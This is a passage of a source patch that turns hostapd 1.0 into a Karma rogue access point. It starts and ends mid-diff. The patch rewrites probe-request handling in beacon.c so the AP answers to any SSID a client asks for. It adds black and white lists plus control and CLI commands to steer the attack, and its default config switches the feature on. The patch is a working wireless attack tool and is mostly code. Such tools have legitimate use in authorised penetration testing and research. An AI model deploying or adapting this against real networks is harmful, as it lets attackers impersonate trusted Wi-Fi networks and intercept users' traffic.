++#CONFIG_TLSV11=y ++ ++# If CONFIG_TLS=internal is used, additional library and include paths are ++# needed for LibTomMath. Alternatively, an integrated, minimal version of ++# LibTomMath can be used. See beginning of libtommath.c for details on benefits ++# and drawbacks of this option. ++#CONFIG_INTERNAL_LIBTOMMATH=y ++#ifndef CONFIG_INTERNAL_LIBTOMMATH ++#LTM_PATH=/usr/src/libtommath-0.39 ++#CFLAGS += -I$(LTM_PATH) ++#LIBS += -L$(LTM_PATH) ++#LIBS_p += -L$(LTM_PATH) ++#endif ++# At the cost of about 4 kB of additional binary size, the internal LibTomMath ++# can be configured to include faster routines for exptmod, sqr, and div to ++# speed up DH and RSA calculation considerably ++#CONFIG_INTERNAL_LIBTOMMATH_FAST=y ++ ++# Interworking (IEEE 802.11u) ++# This can be used to enable functionality to improve interworking with ++# external networks. ++#CONFIG_INTERWORKING=y +diff -Nur hostapd-1.0/hostapd/config_file.c hostapd-1.0-karma/hostapd/config_file.c +--- hostapd-1.0/hostapd/config_file.c 2012-05-09 22:56:09.000000000 +0100 ++++ hostapd-1.0-karma/hostapd/config_file.c 2012-08-06 12:20:55.000000000 +0100 +@@ -122,6 +122,63 @@ + } + + ++// KARMA ++static int hostapd_config_read_karma_ssid(const char *fname, struct hostapd_config *conf) { ++ FILE *f; ++ char buf[33], *pos; ++ int line = 0; ++ karma_ssid_t *karma_ssid; ++ ++ if (!fname) ++ return 0; ++ ++ f = fopen(fname, "r"); ++ if (!f) { ++ wpa_printf(MSG_ERROR, "MAC list file '%s' not found.", fname); ++ return -1; ++ } ++ ++ while (fgets(buf, sizeof(buf), f)) { ++ line++; ++ ++ if (buf[0] == '#') ++ continue; ++ pos = buf; ++ while (*pos != '\0') { ++ if (*pos == '\n') { ++ *pos = '\0'; ++ break; ++ } ++ pos++; ++ } ++ if (buf[0] == '\0') ++ continue; ++ ++ wpa_printf(MSG_DEBUG, "Found ssid in file: %s", buf); ++ ++ if (strlen (buf) > HOSTAPD_MAX_SSID_LEN) { ++ wpa_printf(MSG_ERROR, "ESSID too long '%s' at " ++ "line %d in '%s'", buf, line, fname); ++ fclose(f); ++ return -1; ++ } ++ ++ karma_ssid = os_malloc (sizeof (karma_ssid_t)); ++ karma_ssid->length = strlen(buf); ++ karma_ssid->ssid = os_malloc (karma_ssid->length + 1); ++ os_memcpy(karma_ssid->ssid, buf, strlen(buf) + 1); ++ karma_ssid->next = conf->karma_list; ++ conf->karma_list = karma_ssid; ++ wpa_printf(MSG_DEBUG, "CTRL_IFACE KARMA ADDED SUCCESSFULLY"); ++ } ++ ++ fclose(f); ++ ++ return 0; ++} ++ ++// END KARMA ++ + static int hostapd_config_read_maclist(const char *fname, + struct mac_acl_entry **acl, int *num) + { +@@ -1216,6 +1273,17 @@ + + bss = conf->last_bss = conf->bss; + ++ // KARMA ++ // default Karma to off ++ conf->enable_karma = 0; ++ ++ // default to black list so everything is accepted ++ conf->karma_black_white = 1; ++ ++ // Nothing in the black/white list to start with ++ conf->karma_list = NULL; ++ // KARMA END ++ + while (fgets(buf, sizeof(buf), f)) { + bss = conf->last_bss; + line++; +@@ -1279,6 +1347,30 @@ + bss->logger_syslog = atoi(pos); + } else if (os_strcmp(buf, "logger_stdout") == 0) { + bss->logger_stdout = atoi(pos); ++ // KARMA START ++ } else if (os_strcmp(buf, "karma_ssid_file") == 0) { ++ if (hostapd_config_read_karma_ssid (pos, conf)) ++ { ++ wpa_printf(MSG_ERROR, "Line %d: Failed to " ++ "read karma_ssid_file '%s'", ++ line, pos); ++ errors++; ++ } ++ } else if (os_strcmp(buf, "karma_black_white") == 0) { ++ int val = atoi(pos); ++ conf->karma_black_white = (val != 0); ++ if (conf->karma_black_white == 0) { ++ wpa_printf(MSG_DEBUG, "KARMA: White list mode"); ++ } else { ++ wpa_printf(MSG_DEBUG, "KARMA: Black list mode"); ++ } ++ } else if (os_strcmp(buf, "enable_karma") == 0) { ++ int val = atoi(pos); ++ conf->enable_karma = (val != 0); ++ if (conf->enable_karma) { ++ wpa_printf(MSG_DEBUG, "KARMA: Enabled"); ++ } ++ // KARMA END + } else if (os_strcmp(buf, "dump_file") == 0) { + bss->dump_log_name = os_strdup(pos); + } else if (os_strcmp(buf, "ssid") == 0) { +diff -Nur hostapd-1.0/hostapd/ctrl_iface.c hostapd-1.0-karma/hostapd/ctrl_iface.c +--- hostapd-1.0/hostapd/ctrl_iface.c 2012-05-09 22:56:09.000000000 +0100 ++++ hostapd-1.0-karma/hostapd/ctrl_iface.c 2012-08-06 14:38:25.000000000 +0100 +@@ -39,6 +39,7 @@ + #include "wps/wps_defs.h" + #include "wps/wps.h" + #include "ctrl_iface.h" ++#include "ap/beacon.h" + + + struct wpa_ctrl_dst { +@@ -267,6 +268,170 @@ + return 0; + } + ++// KARMA START ++ ++static int hostapd_ctrl_iface_karma_get_black_white (struct hostapd_data *hapd) ++{ ++ wpa_printf(MSG_DEBUG, "KARMA CTRL_IFACE BLACK/WHITE QUERY (%i) x", hapd->iconf->karma_black_white); ++ return hapd->iconf->karma_black_white; ++} ++static int hostapd_ctrl_iface_karma_get_state (struct hostapd_data *hapd) ++{ ++ wpa_printf(MSG_DEBUG, "KARMA CTRL_IFACE STATUS QUERY"); ++ return hapd->iconf->enable_karma; ++} ++static int hostapd_ctrl_iface_karma_del_ssid (struct hostapd_data *hapd, ++ const char *ssid) { ++ wpa_printf(MSG_DEBUG, "KARMA CTRL_IFACE DEL SSID %s", ssid); ++ ++ karma_ssid_t *karma_ssid; ++ karma_ssid_t *previous_ssid; ++ ++ if (strlen(ssid) > HOSTAPD_MAX_SSID_LEN || strlen(ssid) == 0) { ++ return -1; ++ } ++ ++ karma_ssid = hapd->iconf->karma_list; ++ previous_ssid = NULL; ++ ++ while (karma_ssid != NULL) { ++// wpa_printf(MSG_DEBUG, "KARMA CTRL_IFACE Checking ssid %s against %s", karma_ssid->ssid, ssid); ++ ++ if (strncmp(karma_ssid->ssid, ssid, karma_ssid->length) == 0) { ++ wpa_printf(MSG_DEBUG, "KARMA CTRL_IFACE Match found, deleting and returning early"); ++ if (previous_ssid == NULL) { ++ hapd->iconf->karma_list = karma_ssid->next; ++ } else { ++ previous_ssid->next = karma_ssid->next; ++ } ++ os_free (karma_ssid); ++ return 0; ++ } ++ previous_ssid = karma_ssid; ++ karma_ssid = karma_ssid->next; ++ } ++ wpa_printf(MSG_DEBUG, "KARMA SCTRL_IFACE No match found"); ++ return 0; ++} ++// Used in the hostapd_ctrl_iface_karma_add_mac function to sort the MAC ACL list ++static int hostapd_acl_comp(const void *a, const void *b) ++{ ++ const struct mac_acl_entry *aa = a; ++ const struct mac_acl_entry *bb = b; ++ return os_memcmp(aa->addr, bb->addr, sizeof(macaddr)); ++} ++ ++static int hostapd_ctrl_iface_karma_add_mac (struct hostapd_data *hapd, ++ const char *mac, int black) { ++ ++ u8 addr[ETH_ALEN]; ++ struct mac_acl_entry *newacl; ++ struct hostapd_bss_config *bss; ++ char buf[128]; ++ struct mac_acl_entry **acl; ++ int *num; ++ // for now we don't care about VLANs so just hardcoding 0 ++ int vlan_id = 0; ++ ++ if (hwaddr_aton(mac, addr)) { ++ wpa_printf(MSG_ERROR, "Invalid MAC address '%s'", buf); ++ return -1; ++ } ++ ++ bss = hapd->iconf->last_bss; ++ if (black) { ++ hostapd_ctrl_iface_deauthenticate(hapd, buf); ++ num = &bss->num_deny_mac; ++ acl = &bss->deny_mac; ++ } else { ++ num = &bss->num_accept_mac; ++ acl = &bss->accept_mac; ++ } ++ ++ newacl = os_realloc(*acl, (*num + 1) * sizeof(**acl)); ++ if (newacl == NULL) { ++ wpa_printf(MSG_ERROR, "MAC list reallocation failed"); ++ return -1; ++ } ++ ++ *acl = newacl; ++ os_memcpy((*acl)[*num].addr, addr, ETH_ALEN); ++ (*acl)[*num].vlan_id = vlan_id; ++ (*num)++; ++ ++ qsort(*acl, *num, sizeof(**acl), hostapd_acl_comp); ++ ++ //num = &bss->num_deny_mac; ++ wpa_printf(MSG_DEBUG, "There are now %i MAC addresses in the list", *num); ++ ++ return 0; ++} ++ ++static int hostapd_ctrl_iface_karma_add_ssid (struct hostapd_data *hapd, ++ const char *ssid) { ++ wpa_printf(MSG_DEBUG, "KARMA CTRL_IFACE ADD SSID %s", ssid); ++ ++ karma_ssid_t *karma_ssid; ++ ++ if (strlen(ssid) > HOSTAPD_MAX_SSID_LEN || strlen(ssid) == 0) { ++ return -1; ++ } ++ ++ karma_ssid = os_malloc (sizeof (karma_ssid_t)); ++ karma_ssid->length = strlen(ssid); ++ karma_ssid->ssid = os_malloc (karma_ssid->length + 1); ++ os_memcpy(karma_ssid->ssid, ssid, strlen(ssid) + 1); ++ karma_ssid->next = hapd->iconf->karma_list; ++ hapd->iconf->karma_list = karma_ssid; ++ wpa_printf(MSG_DEBUG, "CTRL_IFACE KARMA ADDED SUCCESSFULLY"); ++ return 0; ++} ++ ++static int hostapd_ctrl_iface_karma_change_ssid (struct hostapd_data *hapd, ++ const char *ssid) { ++ wpa_printf(MSG_DEBUG, "KARMA CTRL_IFACE CHANGE SSID %s", ssid); ++ ++ if (strlen(ssid) > HOSTAPD_MAX_SSID_LEN || strlen(ssid) == 0) { ++ return -1; ++ } ++ ++ hapd->conf->ssid.ssid_len = strlen(ssid); ++ // Not sure if the +1 is needed here or not ++ os_memcpy(hapd->conf->ssid.ssid, ssid, strlen(ssid) + 1); ++ ieee802_11_set_beacon(hapd); ++ wpa_printf(MSG_DEBUG, "CTRL_IFACE KARMA Default SSID Changed"); ++ return 0; ++} ++ ++static int hostapd_ctrl_iface_karma_black_white (struct hostapd_data *hapd, ++ int status) ++{ ++ // 0 = white ++ if (status == 0) { ++ wpa_printf(MSG_DEBUG, "KARMA CTRL_IFACE White List"); ++ } else { ++ wpa_printf(MSG_DEBUG, "KARMA CTRL_IFACE Black List"); ++ } ++ hapd->iconf->karma_black_white = status; ++ wpa_printf(MSG_DEBUG, "KARMA CTRL_IFACE list passed in %i value %i", status, hapd->iconf->karma_black_white ); ++ ++ return 0; ++} ++ ++static int hostapd_ctrl_iface_karma_enable_disable (struct hostapd_data *hapd, ++ int status) ++{ ++ if (status) { ++ wpa_printf(MSG_DEBUG, "KARMA CTRL_IFACE ENABLED"); ++ } else { ++ wpa_printf(MSG_DEBUG, "KARMA CTRL_IFACE DISABLED"); ++ } ++ hapd->iconf->enable_karma = status; ++ ++ return 0; ++} ++ ++// KARMA END + + static int hostapd_ctrl_iface_disassociate(struct hostapd_data *hapd, + const char *txtaddr) +@@ -942,6 +1107,80 @@ + } else if (os_strncmp(buf, "GET ", 4) == 0) { + reply_len = hostapd_ctrl_iface_get(hapd, buf + 4, reply, + reply_size); ++// KARMA ++ } else if (os_strcmp(buf, "KARMA_BLACK_WHITE") == 0) { ++ if (hostapd_ctrl_iface_karma_get_black_white(hapd)) { ++ os_memcpy(reply, "BLACK\n", 6); ++ reply_len = 6; ++ } else { ++ os_memcpy(reply, "WHITE\n", 6); ++ reply_len = 6; ++ } ++ } else if (os_strcmp(buf, "KARMA_STATE") == 0) { ++ if (hostapd_ctrl_iface_karma_get_state(hapd)) { ++ os_memcpy(reply, "ENABLED\n", 8); ++ reply_len = 8; ++ } else { ++ os_memcpy(reply, "DISABLED\n", 9); ++ reply_len = 9; ++ } ++ } else if (os_strncmp(buf, "KARMA_DEL_SSID ", 15) == 0) { ++ if (hostapd_ctrl_iface_karma_del_ssid (hapd, buf + 15)) { ++ reply_len = -1; ++ } else { ++ os_memcpy(reply, "DELETED\n", 8); ++ reply_len = 8; ++ } ++ } else if (os_strncmp(buf, "KARMA_ADD_SSID ", 15) == 0) { ++ if (hostapd_ctrl_iface_karma_add_ssid (hapd, buf + 15)) { ++ reply_len = -1; ++ } else { ++ os_memcpy(reply, "ADDED\n", 6); ++ reply_len = 6; ++ } ++ } else if (os_strncmp(buf, "KARMA_ADD_WHITE_MAC ", 20) == 0) { ++ if (hostapd_ctrl_iface_karma_add_mac (hapd, buf + 20, 0)) { ++ reply_len = -1; ++ } else { ++ os_memcpy(reply, "ADDED\n", 6); ++ reply_len = 6; ++ } ++ } else if (os_strncmp(buf, "KARMA_ADD_BLACK_MAC ", 20) == 0) { ++ if (hostapd_ctrl_iface_karma_add_mac (hapd, buf + 20, 1)) { ++ reply_len = -1; ++ } else { ++ os_memcpy(reply, "ADDED\n", 6); ++ reply_len = 6; ++ } ++ } else if (os_strcmp(buf, "KARMA_GET_SSID") == 0) { ++ wpa_printf(MSG_DEBUG, "KARMA CTRL_IFACE GET SSID"); ++ size_t len; ++ ++ // +2 for the new line and the null byte terminator ++ len = hapd->conf->ssid.ssid_len + 2; ++ os_snprintf(reply, len, "%s\n", hapd->conf->ssid.ssid); ++ reply_len = len; ++ ++ } else if (os_strncmp(buf, "KARMA_CHANGE_SSID ", 18) == 0) { ++ if (hostapd_ctrl_iface_karma_change_ssid (hapd, buf + 18)) { ++ reply_len = -1; ++ } else { ++ os_memcpy(reply, "CHANGED\n", 8); ++ reply_len = 8; ++ } ++ } else if (os_strcmp(buf, "KARMA_WHITE") == 0) { ++ if (hostapd_ctrl_iface_karma_black_white(hapd, 0)) ++ reply_len = -1; ++ } else if (os_strcmp(buf, "KARMA_BLACK") == 0) { ++ if (hostapd_ctrl_iface_karma_black_white(hapd, 1)) ++ reply_len = -1; ++ } else if (os_strcmp(buf, "KARMA_DISABLE") == 0) { ++ if (hostapd_ctrl_iface_karma_enable_disable(hapd, 0)) ++ reply_len = -1; ++ } else if (os_strcmp(buf, "KARMA_ENABLE") == 0) { ++ if (hostapd_ctrl_iface_karma_enable_disable(hapd, 1)) ++ reply_len = -1; ++// END KARMA + } else { + os_memcpy(reply, "UNKNOWN COMMAND\n", 16); + reply_len = 16; +diff -Nur hostapd-1.0/hostapd/hostapd_cli.c hostapd-1.0-karma/hostapd/hostapd_cli.c +--- hostapd-1.0/hostapd/hostapd_cli.c 2012-05-09 22:56:09.000000000 +0100 ++++ hostapd-1.0-karma/hostapd/hostapd_cli.c 2012-08-06 14:34:58.000000000 +0100 +@@ -21,6 +21,9 @@ + #include "utils/edit.h" + #include "common/version.h" + ++// Added this here as it is in an include file that isn't normally included ++// by the cli ++#define HOSTAPD_MAX_SSID_LEN 32 + + static const char *hostapd_cli_version = + "hostapd_cli v" VERSION_STR "\n" +@@ -81,31 +84,44 @@ + + static const char *commands_help = + "Commands:\n" +-" mib get MIB variables (dot1x, dot11, radius)\n" +-" sta get MIB variables for one station\n" +-" all_sta get MIB variables for all stations\n" +-" new_sta add a new station\n" ++" mib get MIB variables (dot1x, dot11, radius)\n" ++" sta get MIB variables for one station\n" ++" all_sta get MIB variables for all stations\n" ++" new_sta add a new station\n" + " deauthenticate deauthenticate a station\n" +-" disassociate disassociate a station\n" ++" disassociate disassociate a station\n" + #ifdef CONFIG_IEEE80211W +-" sa_query send SA Query to a station\n" ++" sa_query send SA Query to a station\n" + #endif /* CONFIG_IEEE80211W */ + #ifdef CONFIG_WPS + " wps_pin [timeout] [addr] add WPS Enrollee PIN\n" +-" wps_check_pin verify PIN checksum\n" +-" wps_pbc indicate button pushed to initiate PBC\n" ++" wps_check_pin verify PIN checksum\n" ++" wps_pbc indicate button pushed to initiate PBC\n" + #ifdef CONFIG_WPS_OOB + " wps_oob use WPS with out-of-band (UFD)\n" + #endif /* CONFIG_WPS_OOB */ + " wps_ap_pin [params..] enable/disable AP PIN\n" + " wps_config configure AP\n" + #endif /* CONFIG_WPS */ +-" get_config show current configuration\n" +-" help show this usage help\n" +-" interface [ifname] show interfaces/select interface\n" +-" level change debug level\n" +-" license show full hostapd_cli license\n" +-" quit exit hostapd_cli\n"; ++" get_config show current configuration\n" ++" help show this usage help\n" ++" interface [ifname] show interfaces/select interface\n" ++" level change debug level\n" ++" license show full hostapd_cli license\n" ++" ping send a ping, get a pong\n" ++" karma_change_ssid change the default SSID for when Karma is off\n" ++" karma_get_ssid get the default SSID for when Karma is off\n" ++" karma_enable enable Karma\n" ++" karma_disable disable Karma\n" ++" karma_black blacklist Karma\n" ++" karma_white whitelist Karma\n" ++" karma_get_black_white get the black/whitelist state of Karma\n" ++" karma_add_ssid add an SSID to the black/white list\n" ++" karma_del_ssid delete an SSID from the black/white list\n" ++" karma_get_state get the state of Karma\n" ++" karma_add_black_mac add a MAC to the black list\n" ++" karma_add_white_mac add a MAC to the white list\n" ++" quit exit hostapd_cli\n"; + + static struct wpa_ctrl *ctrl_conn; + static int hostapd_cli_quit = 0; +@@ -343,6 +359,129 @@ + return wpa_ctrl_command(ctrl, buf); + } + ++// KARMA ++ ++static int hostapd_cli_cmd_karma_del_ssid(struct wpa_ctrl *ctrl, int argc, ++ char *argv[]) ++{ ++ char buf[50]; ++ if (argc < 1) { ++ printf("Invalid 'delete Karma SSID' command - exactly one " ++ "argument, SSID, is required.\n"); ++ return -1; ++ } ++ os_snprintf(buf, sizeof(buf), "KARMA_DEL_SSID %s", argv[0]); ++ return wpa_ctrl_command(ctrl, buf); ++} ++ ++static int hostapd_cli_cmd_karma_change_ssid(struct wpa_ctrl *ctrl, int argc, ++ char *argv[]) ++{ ++ // Max length of SSID is 32 chars + the command and the null byte ++ char buf[50]; ++ if (argc < 1) { ++ printf("Invalid 'change Karma SSID' command - exactly one " ++ "argument, SSID, is required.\n"); ++ return -1; ++ } ++ if (strlen(argv[0]) > HOSTAPD_MAX_SSID_LEN) { ++ printf("The max length of an SSID is %i\n", HOSTAPD_MAX_SSID_LEN); ++ return -1; ++ } ++ os_snprintf(buf, sizeof(buf), "KARMA_CHANGE_SSID %s", argv[0]); ++ return wpa_ctrl_command(ctrl, buf); ++} ++static int hostapd_cli_cmd_karma_get_ssid(struct wpa_ctrl *ctrl, int argc, ++ char *argv[]) ++{ ++ return wpa_ctrl_command(ctrl, "KARMA_GET_SSID"); ++} ++static int hostapd_cli_cmd_karma_add_white_mac(struct wpa_ctrl *ctrl, int argc, ++ char *argv[]) ++{ ++ // Max length of MAC is 17 chars + the command and the null byte ++ char buf[50]; ++ if (argc < 1) { ++ printf("Invalid 'add white MAC' command - exactly one " ++ "argument, MAC, is required.\n"); ++ return -1; ++ } ++ // Can't find a define for the length of a MAC address as a string ++ // ETH_ALEN is the number of individual bytes ++ if (strlen(argv[0]) != 17) { ++ printf("The MAC should be in the format 00:11:22:33:44:55\n"); ++ return -1; ++ } ++ os_snprintf(buf, sizeof(buf), "KARMA_ADD_WHITE_MAC %s", argv[0]); ++ return wpa_ctrl_command(ctrl, buf); ++} ++ ++static int hostapd_cli_cmd_karma_add_black_mac(struct wpa_ctrl *ctrl, int argc, ++ char *argv[]) ++{ ++ // Max length of MAC is 17 chars + the command and the null byte ++ char buf[50]; ++ if (argc < 1) { ++ printf("Invalid 'add black MAC' command - exactly one " ++ "argument, MAC, is required.\n"); ++ return -1; ++ } ++ // Can't find a define for the length of a MAC address as a string ++ // ETH_ALEN is the number of individual bytes ++ if (strlen(argv[0]) != 17) { ++ printf("The MAC should be in the format 00:11:22:33:44:55\n"); ++ return -1; ++ } ++ os_snprintf(buf, sizeof(buf), "KARMA_ADD_BLACK_MAC %s", argv[0]); ++ return wpa_ctrl_command(ctrl, buf); ++} ++ ++static int hostapd_cli_cmd_karma_add_ssid(struct wpa_ctrl *ctrl, int argc, ++ char *argv[]) ++{ ++ // Max length of SSID is 32 chars + the command and the null byte ++ char buf[50]; ++ if (argc < 1) { ++ printf("Invalid 'added Karma SSID' command - exactly one " ++ "argument, SSID, is required.\n"); ++ return -1; ++ } ++ if (strlen(argv[0]) > HOSTAPD_MAX_SSID_LEN) { ++ printf("The max length of an SSID is %i\n", HOSTAPD_MAX_SSID_LEN); ++ return -1; ++ } ++ os_snprintf(buf, sizeof(buf), "KARMA_ADD_SSID %s", argv[0]); ++ return wpa_ctrl_command(ctrl, buf); ++} ++ ++// These should be one function with a parameter ++ ++static int hostapd_cli_cmd_karma_disable(struct wpa_ctrl *ctrl, int argc, char *argv[]) ++{ ++ return wpa_ctrl_command(ctrl, "KARMA_DISABLE"); ++} ++static int hostapd_cli_cmd_karma_black(struct wpa_ctrl *ctrl, int argc, char *argv[]) ++{ ++ return wpa_ctrl_command(ctrl, "KARMA_BLACK"); ++} ++static int hostapd_cli_cmd_karma_white(struct wpa_ctrl *ctrl, int argc, char *argv[]) ++{ ++ return wpa_ctrl_command(ctrl, "KARMA_WHITE"); ++} ++static int hostapd_cli_cmd_karma_get_black_white(struct wpa_ctrl *ctrl, int argc, char *argv[]) ++{ ++ return wpa_ctrl_command(ctrl, "KARMA_BLACK_WHITE"); ++} ++static int hostapd_cli_cmd_karma_enable(struct wpa_ctrl *ctrl, int argc, char *argv[]) ++{ ++ return wpa_ctrl_command(ctrl, "KARMA_ENABLE"); ++} ++static int hostapd_cli_cmd_karma_get_state(struct wpa_ctrl *ctrl, int argc, char *argv[]) ++{ ++ return wpa_ctrl_command(ctrl, "KARMA_STATE"); ++} ++// END KARMA ++ + + #ifdef CONFIG_IEEE80211W + static int hostapd_cli_cmd_sa_query(struct wpa_ctrl *ctrl, int argc, +@@ -757,6 +896,22 @@ + { "quit", hostapd_cli_cmd_quit }, + { "set", hostapd_cli_cmd_set }, + { "get", hostapd_cli_cmd_get }, ++// KARMA ++// Because I always type ? first ++ { "?", hostapd_cli_cmd_help }, ++ { "karma_del_ssid", hostapd_cli_cmd_karma_del_ssid}, ++ { "karma_add_ssid", hostapd_cli_cmd_karma_add_ssid}, ++ { "karma_add_black_mac", hostapd_cli_cmd_karma_add_black_mac}, ++ { "karma_add_white_mac", hostapd_cli_cmd_karma_add_white_mac}, ++ { "karma_change_ssid", hostapd_cli_cmd_karma_change_ssid}, ++ { "karma_get_ssid", hostapd_cli_cmd_karma_get_ssid}, ++ { "karma_get_state", hostapd_cli_cmd_karma_get_state}, ++ { "karma_disable", hostapd_cli_cmd_karma_disable}, ++ { "karma_enable", hostapd_cli_cmd_karma_enable}, ++ { "karma_white", hostapd_cli_cmd_karma_white}, ++ { "karma_black", hostapd_cli_cmd_karma_black}, ++ { "karma_get_black_white", hostapd_cli_cmd_karma_get_black_white}, ++// END KARMA + { NULL, NULL } + }; + +diff -Nur hostapd-1.0/hostapd/hostapd.conf hostapd-1.0-karma/hostapd/hostapd.conf +--- hostapd-1.0/hostapd/hostapd.conf 2012-05-09 22:56:09.000000000 +0100 ++++ hostapd-1.0-karma/hostapd/hostapd.conf 2012-08-06 17:06:46.000000000 +0100 +@@ -1,3 +1,12 @@ ++# 0 = disabled ++# 1 = enabled ++enable_karma=1 ++ ++# 0 = white ++# 1 = black ++karma_black_white=1 ++#karma_ssid_file=/etc/hostapd_karma_ssid ++ + ##### hostapd configuration file ############################################## + # Empty lines and lines starting with # are ignored + +@@ -47,9 +56,9 @@ + # 4 = warning + # + logger_syslog=-1 +-logger_syslog_level=2 ++logger_syslog_level=0 + logger_stdout=-1 +-logger_stdout_level=2 ++logger_stdout_level=0 + + # Dump file for state information (on SIGUSR1) + dump_file=/tmp/hostapd.dump +@@ -939,13 +948,9 @@ + # in the AP). + #pbc_in_m1=1 + +-# Static access point PIN for initial configuration and adding Registrars ++# Access point PIN for initial configuration and adding Registrars + # If not set, hostapd will not allow external WPS Registrars to control the +-# access point. The AP PIN can also be set at runtime with hostapd_cli +-# wps_ap_pin command. Use of temporary (enabled by user action) and random +-# AP PIN is much more secure than configuring a static AP PIN here. As such, +-# use of the ap_pin parameter is not recommended if the AP device has means for +-# displaying a random PIN. ++# access point. + #ap_pin=12345670 + + # Skip building of automatic WPS credential +@@ -1117,8 +1122,13 @@ + # as the defaults for the following BSSes. However, it is recommended that all + # BSSes include explicit configuration of all relevant configuration items. + # +-#bss=wlan0_0 ++#bss=wlan10 + #ssid=test2 ++#bssid=02:21:91:01:11:31 ++# ++#bss=wlan11 ++#ssid=test3 ++#bssid=02:21:91:01:11:32 + # most of the above items can be used here (apart from radio interface specific + # items, like channel) + +diff -Nur hostapd-1.0/hostapd/main.c hostapd-1.0-karma/hostapd/main.c +--- hostapd-1.0/hostapd/main.c 2012-05-09 22:56:09.000000000 +0100 ++++ hostapd-1.0-karma/hostapd/main.c 2012-08-06 16:53:56.000000000 +0100 +@@ -512,7 +512,8 @@ + "User space daemon for IEEE 802.11 AP management,\n" + "IEEE 802.1X/WPA/WPA2/EAP/RADIUS Authenticator\n" + "Copyright (c) 2002-2012, Jouni Malinen " +- "and contributors\n"); ++ "and contributors\n" ++ "Karma patches by Robin Wood - robin@digininja.org\n"); + } + + +diff -Nur hostapd-1.0/src/ap/ap_config.h hostapd-1.0-karma/src/ap/ap_config.h +--- hostapd-1.0/src/ap/ap_config.h 2012-05-09 22:56:09.000000000 +0100 ++++ hostapd-1.0-karma/src/ap/ap_config.h 2012-08-06 12:20:55.000000000 +0100 +@@ -364,6 +364,19 @@ + }; + + ++/* ++* KARMA STUFF ++* ++* A structure to hold the black/white list ++* ++*/ ++typedef struct karma_ssid{ ++ int length; ++ char *ssid; ++ struct karma_ssid *next; ++} karma_ssid_t; ++// END KARMA ++ + /** + * struct hostapd_config - Per-radio interface configuration + */ +@@ -371,6 +384,14 @@ + struct hostapd_bss_config *bss, *last_bss; + size_t num_bss; + ++ // KARMA ++ int enable_karma; ++ // 0 = white ++ int karma_black_white; /* KARMA black or white list*/ ++ karma_ssid_t *karma_list; ++ ++ // KARMA END ++ + u16 beacon_int; + int rts_threshold; + int fragm_threshold; +diff -Nur hostapd-1.0/src/ap/beacon.c hostapd-1.0-karma/src/ap/beacon.c +--- hostapd-1.0/src/ap/beacon.c 2012-05-09 22:56:09.000000000 +0100 ++++ hostapd-1.0-karma/src/ap/beacon.c 2012-08-06 17:01:34.000000000 +0100 +@@ -198,6 +198,11 @@ + struct sta_info *sta = NULL; + size_t buflen; + size_t i; ++ // KARMA ++ karma_ssid_t *karma_ssid; ++ int found; ++ int free_ssid = 0; ++ // END KARMA + + ie = mgmt->u.probe_req.variable; + if (len < IEEE80211_HDRLEN + sizeof(mgmt->u.probe_req)) +@@ -274,34 +279,93 @@ + } + #endif /* CONFIG_P2P */ + +- if (elems.ssid_len == 0 || +- (elems.ssid_len == hapd->conf->ssid.ssid_len && +- os_memcmp(elems.ssid, hapd->conf->ssid.ssid, elems.ssid_len) == +- 0)) { +- ssid = hapd->conf->ssid.ssid; +- ssid_len = hapd->conf->ssid.ssid_len; +- if (sta) +- sta->ssid_probe = &hapd->conf->ssid; +- } + +- if (!ssid) { +- if (!(mgmt->da[0] & 0x01)) { ++ // KARMA ++ if (hapd->iconf->enable_karma) { ++ wpa_printf(MSG_MSGDUMP, "KARMA CTRL_IFACE Karam is enabled for handling probe request\n"); ++ // Max length for SSID is 32 chars ++ if (elems.ssid_len > 0 && elems.ssid_len <= 32) { ++ ++ char myssid_txt[33]; ++ ieee802_11_print_ssid(myssid_txt, elems.ssid, elems.ssid_len); ++ ++ wpa_printf(MSG_DEBUG, "KARMA CTRL_IFACE Requested ESSID is %s", myssid_txt); ++ ++ karma_ssid = hapd->iconf->karma_list; ++ ++ found = 0; ++ ++ while (karma_ssid != NULL) { ++ wpa_printf(MSG_DEBUG, "KARMA CTRL_IFACE Checking ESSID %s against %s", karma_ssid->ssid, myssid_txt); ++ ++ if (strlen(myssid_txt) == karma_ssid->length && strncmp(karma_ssid->ssid, myssid_txt, karma_ssid->length) == 0) { ++ wpa_printf(MSG_DEBUG, "KARMA CTRL_IFACE Match found, leaving loop"); ++ found = 1; ++ break; ++ } ++ karma_ssid = karma_ssid->next; ++ } ++ ++ ++ if (hapd->iconf->karma_black_white == 0 && found == 0) { ++ // white list ++ wpa_printf(MSG_MSGDUMP, "KARMA: ESSID not found in white list mode so not accepting probe"); ++ return; ++ } ++ if (hapd->iconf->karma_black_white == 1 && found == 1) { ++ // black list ++ wpa_printf(MSG_MSGDUMP, "KARMA: ESSID found in black list mode so not accepting the probe"); ++ return; ++ } ++ ++ ssid = os_malloc(elems.ssid_len + 1); ++ free_ssid = 1; ++ ++ memcpy (ssid, elems.ssid, elems.ssid_len + 1); ++ ssid_len = elems.ssid_len; ++ if (sta) ++ sta->ssid_probe = &hapd->conf->ssid; ++ } ++ ++ if (elems.ssid_len != 0) { + char ssid_txt[33]; + ieee802_11_print_ssid(ssid_txt, elems.ssid, +- elems.ssid_len); +- wpa_printf(MSG_MSGDUMP, "Probe Request from " MACSTR +- " for foreign SSID '%s' (DA " MACSTR ")", +- MAC2STR(mgmt->sa), ssid_txt, +- MAC2STR(mgmt->da)); ++ elems.ssid_len); ++ wpa_printf(MSG_MSGDUMP, "KARMA: Probe Request from " MACSTR ++ " for SSID '%s'", ++ MAC2STR(mgmt->sa), ssid_txt); ++ } ++ } else { ++ wpa_printf(MSG_MSGDUMP, "KARMA is disabled when handling probe request\n"); ++ if (elems.ssid_len == 0 || ++ (elems.ssid_len == hapd->conf->ssid.ssid_len && ++ os_memcmp(elems.ssid, hapd->conf->ssid.ssid, elems.ssid_len) == ++ 0)) { ++ ssid = hapd->conf->ssid.ssid; ++ ssid_len = hapd->conf->ssid.ssid_len; ++ if (sta) ++ sta->ssid_probe = &hapd->conf->ssid; ++ } ++ ++ if (!ssid) { ++ if (!(mgmt->da[0] & 0x01)) { ++ char ssid_txt[33]; ++ ieee802_11_print_ssid(ssid_txt, elems.ssid, ++ elems.ssid_len); ++ wpa_printf(MSG_MSGDUMP, "Probe Request from " MACSTR ++ " for foreign SSID '%s'", ++ MAC2STR(mgmt->sa), ssid_txt); ++ } ++ return; + } +- return; + } ++ // KARMA END + + #ifdef CONFIG_INTERWORKING + if (elems.interworking && elems.interworking_len >= 1) { + u8 ant = elems.interworking[0] & 0x0f; + if (ant != INTERWORKING_ANT_WILDCARD && +- ant != hapd->conf->access_network_type) { ++ 